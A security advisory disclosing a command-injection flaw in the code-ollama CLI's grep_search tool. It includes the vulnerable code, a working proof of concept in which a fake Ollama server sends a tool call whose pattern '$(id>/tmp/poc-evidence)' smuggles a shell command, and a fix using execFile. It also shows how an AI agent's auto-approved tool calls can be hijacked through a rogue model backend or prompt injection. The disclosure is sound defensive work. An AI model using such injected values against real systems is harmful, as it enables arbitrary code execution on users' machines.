GHSA-456v-xq2p-r4cj

grep_search Command Injection via Unescaped $() Shell Substitution (CWE-78)

Summary

The grep_search tool in code-ollama constructs a shell command string by interpolating attacker-controlled pattern and path arguments, then executes it via child_process.exec(). The sanitization only escapes backslashes and double-quote characters, leaving $() command substitution and backtick expansion fully intact. A malicious or compromised Ollama server can therefore inject and execute arbitrary OS commands with the privileges of the local user running code-ollama. Because grep_search is classified as a read-only tool, it auto-executes in Plan mode without any user approval prompt, making this a no-interaction-required exploitation path. Severity is High (CVSS 7.8).

Details

Vulnerable sink — src/utils/tools/filesystem/grep.ts:58-66

const escapedPattern = searchPattern
  .replace(/\\/g, '\\\\')
  .replace(/"/g, '\\"');
const escapedDirPath = dirPath.replace(/\\/g, '\\\\').replace(/"/g, '\\"');

const { stdout } = await execShell(
  `rg --line-number --no-heading --smart-case "${escapedPattern}" "${escapedDirPath}"`,
);

Only \ and " are neutralized. The shell metacharacter sequence $() (and backtick-style ` substitution) is passed through unmodified. The resulting string is passed to execShell() (src/utils/tools/shell.ts:46-49), which calls exec — the promisified child_process.exec defined at src/utils/node.ts:1-4 — causing /bin/sh to interpret the entire string and expand any embedded command substitution.

Full data-flow path (source → sink)

Step	Location	Action
1	src/utils/ollama.ts:102-103	External Ollama chat stream delivers chunk.message.tool_calls to the CLI
2	src/cli.ts:147-148	Each toolCall is forwarded to tools.executeToolCall()
3	src/utils/tools/dispatcher.ts:300-306	Dispatcher normalizes the call and routes it
4	src/utils/tools/dispatcher.ts:392-393	stringArgs.pattern and stringArgs.path are passed verbatim to grepSearch()
5	src/utils/tools/filesystem/grep.ts:58-63	Incomplete sanitization: only \ and " are escaped (root cause)
6	src/utils/tools/filesystem/grep.ts:65	Shell command string assembled and handed to execShell() (sink)
7	src/utils/tools/shell.ts:46-49 → src/utils/node.ts:1-4	exec() (child_process.exec) executes the string via /bin/sh

Approval-bypass amplifier

grep_search is listed in READ_TOOL_NAMES at src/constants/tool.ts:14-20 and is exposed in Plan mode at src/utils/tools/definitions.ts:225-228. Read-only tools execute automatically without presenting an approval prompt to the user, so exploitation requires zero user interaction beyond the initial code-ollama run invocation.

PoC

Prerequisites

• code-ollama v0.36.0 installed (e.g., npm install --global code-ollama@0.36.0 or built from source via the Dockerfile below).
• ripgrep (rg) available in PATH (the vulnerable code path requires it).
• Python 3 available to run the fake Ollama server.

Step 1 — Build the self-contained Docker image (recommended)

# From the report root directory (where vuln-001/ lives)
docker build -t vuln001-code-ollama -f vuln-001/Dockerfile .
docker run --rm vuln001-code-ollama

The container automatically runs poc.py as CMD. Successful exploitation prints:

[+] EXPLOITATION CONFIRMED
[+] Marker file : /tmp/poc-evidence
[+] Contents    : 'uid=0(root) gid=0(root) groups=0(root)'

Step 2 — Manual reproduction (bare-metal)

# Terminal 1 — start the malicious Ollama server
cat > /tmp/fake-ollama.py <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
import json, sys, threading

_req = 0
_lock = threading.Lock()

class H(BaseHTTPRequestHandler):
    def log_message(self, *a): pass
    def do_GET(self):
        self.send_response(200); self.end_headers()
        self.wfile.write(b"Ollama is running")
    def do_POST(self):
        global _req
        l = int(self.headers.get("Content-Length", 0))
        self.rfile.read(l)
        with _lock:
            _req += 1; n = _req
        self.send_response(200)
        self.send_header("Content-Type", "application/x-ndjson")
        self.end_headers()
        if n == 1:
            chunk = {"model":"fake","message":{"role":"assistant","content":"",
                "tool_calls":[{"function":{"name":"grep_search",
                    "arguments":{"pattern":"$(id>/tmp/poc-evidence)","path":"/tmp"}}}]},
                "done":True,"done_reason":"stop"}
        else:
            chunk = {"model":"fake","message":{"role":"assistant","content":"Done."},
                "done":True,"done_reason":"stop"}
        self.wfile.write((json.dumps(chunk)+"\n").encode())
        self.wfile.flush()

HTTPServer(("127.0.0.1", 11434), H).serve_forever()
PY
python3 /tmp/fake-ollama.py &

# Terminal 2 — run code-ollama against the fake server
rm -f /tmp/poc-evidence
OLLAMA_HOST=http://127.0.0.1:11434 code-ollama run --trust fake "search the code"
cat /tmp/poc-evidence   # expected: uid=... gid=... groups=...

Explanation of the payload

The pattern argument value $(id>/tmp/poc-evidence) survives the sanitization in grep.ts:58-63 because only \ and " are stripped. When the resulting shell string

rg --line-number --no-heading --smart-case "$(id>/tmp/poc-evidence)" "/tmp"

is executed by /bin/sh via child_process.exec, the shell expands $() first, running id and writing its output to /tmp/poc-evidence before rg ever starts.

Remediation

Replace the shell-string construction with an argument-vector call to avoid the shell entirely:

-import { execShell } from '../shell';
+import { execFile } from '../../node';
+
+const RG_EXEC_OPTIONS = { timeout: 30_000, maxBuffer: 1024 * 1024 };

-      const escapedPattern = searchPattern
-        .replace(/\\/g, '\\\\')
-        .replace(/"/g, '\\"');
-      const escapedDirPath = dirPath
-        .replace(/\\/g, '\\\\')
-        .replace(/"/g, '\\"');
-
-      const { stdout } = await execShell(
-        `rg --line-number --no-heading --smart-case "${escapedPattern}" "${escapedDirPath}"`,
-      );
+      const { stdout } = await execFile(
+        'rg',
+        ['--line-number', '--no-heading', '--smart-case', '--', searchPattern, dirPath],
+        RG_EXEC_OPTIONS,
+      );

Impact

This is an OS Command Injection vulnerability (CWE-78). Any party that controls the Ollama server response — including a rogue model backend, a prompt-injection payload that manipulates the model into issuing a crafted grep_search tool call, or a network adversary performing a man-in-the-middle attack on an unencrypted OLLAMA_HOST connection — can execute arbitrary commands as the OS user running code-ollama.

Impact scope:

• Confidentiality (High) — attacker can read any file accessible to the user, exfiltrate source code, secrets, SSH keys, etc.
• Integrity (High) — attacker can modify or delete files, plant backdoors, alter repository history.
• Availability (High) — attacker can terminate processes, corrupt data, or consume system resources.

The approval-bypass via READ_TOOL_NAMES / Plan-mode auto-execution means the attack completes silently with no user interaction after code-ollama run is invoked. Developers, CI pipelines, and IDE-integrated users who run code-ollama in trusted directories are all at risk.

Reproduction artifacts

Dockerfile

# VULN-001: grep_search Command Injection — CWE-78
# Target: ai-action/code-ollama v0.36.0
# Proof-of-concept Docker image: builds the repo and runs poc.py
#
# Build (from project root):
#   docker build -t vuln001-code-ollama -f vuln-001/Dockerfile .
# Run:
#   docker run --rm vuln001-code-ollama

FROM node:24-slim

# ripgrep  — required by grepSearch() in the vuln